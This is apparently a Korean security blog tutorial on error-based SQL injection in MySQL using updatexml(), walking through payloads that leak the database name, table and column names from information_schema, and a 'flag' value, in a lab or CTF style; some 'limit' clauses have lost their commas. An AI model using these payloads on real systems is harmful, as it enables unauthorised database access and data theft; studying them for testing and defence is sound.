본문 바로가기
정보보안(웹해킹)/SQLInjection

Error Based SQL Injection

by 끊임없는정진 2022. 11. 3.

 

▶ SQL Injection 항목별 적용법

 

SQL 질의문이 화면에 보이는 경우 : Union SQL Injection

SQL 에러가 응답에 포함되는 경우 : Error based SQL Injection

SQL 질의문 결과가 화면에 나오지 않는 경우 : Blind SQL Injection

※ Blind SQL injection은 속도가 느려서 모든 타입에 무작정 적용하기에는 적합하지 않다.

 

▶ Error Based SQL Injection 사용하는 경우

 

SQL 에러가 응답에 포함되는 경우. ex) '를 넣었을 때, "~~SQL syntax~~" 오류가 출력

이럴 때는 UNION 대신에 바로 Error Based SQL Injection을 사용!

 

 

▶ Error Based SQL Injection 사용시 유의할 점

 

문법적인 에러가 아니라 논리적인 에러여야 함. 문법적인 에러로는 Error Based SQL Injection 실행 불가. 

 

 

▶ Error Based SQL Injection 사용 함수

 

대표적으로 updatexml() 함수를 사용한다. 예시로,

1
updatexml (null, concat(0x3a, (select 'test')) ,null) 
cs

 

updatexml(null, ':test', null) 와 같은데, ':test'와 같은 내용이 없다는 것을 확인하고 에러를 띄우는 원리이다. 

 

 

▶ Error Based SQL Injection 

 

(1) Error 메시지 확인

작은 따옴표를 넣었을 때, 에러가 나오면 Error Based SQL Injection 활용이 가능하다.

 

(2) Error 출력 활용 함수 선정

다음과 같은 database 쿼리문을 완성하게끔 입력해준다.

1
SELECT ?? FROM ?? WHERE id = '1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1'
cs

~~'test'와 같이 오류메시지를 출력한다면 적용가능하다.

 

(3) db 이름

다음과 같은 database 쿼리문을 완성하게끔 입력해준다.

1
SELECT ?? FROM ?? WHERE id = '1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1'
cs

database() 를 이용해서 현재 데이터베이스의 이름을 파악할 수 있다. 편의 상 출력된 schema가 sqli_2라고 하겠다.

 

(4) table 이름

시스템 테이블을 활용해서 table값을 출력하게 한다. 단, error based SQL Injection은 Error을 1행씩 출력할 수 밖에 없으므로, 끝에 limit 0,1 / limit 1,1 ... 을 붙여서 한 행씩 출력하게 한다.(이건 (4),(5),(6) 모두 공통되는 사항이다.)

1
SELECT ?? FROM ?? WHERE id = '1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables WHERE table_schema = 'sqli_2' limit 11)),null) and '1'='1'
cs

편의상 출력된 table 이름이 'flag_table'이라고 하겠다.

 

(5) column 이름

UNION SQLI 와 똑같다 시스템 테이블을 이용해서 column 명을 조회하는데, (4)와 똑같은 양식으로 한다.

1
SELECT ?? FROM ?? WHERE id = '1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns WHERE table_name = 'flag_table' limit 01)),null) and '1'='1
cs

편의상 출력된 column 이름이 'flag'라고 하겠다.

 

(6) 데이터 추출

우리가 데이터를 조회할 때 흔히 쓰는 SELECT 문을 괄호안에 입력해주면 끝이다. 

1
SELECT ?? FROM ?? WHERE id = '1' and updatexml(null, concat(0x3a, (select flag from flag_table limit 01)), null) and '1'='1
cs

 

 

'정보보안(웹해킹) > SQLInjection' 카테고리의 다른 글

SQL injection in 'order by' clause  (0) 2022.12.09
SQL Injection WAF 우회기법  (0) 2022.11.21
[php] Error-based SQLi 연습세팅 & 대응방안  (0) 2022.11.04
Union SQL Injection  (1) 2022.11.03
SQL injection 과 id = 0  (0) 2022.10.26

댓글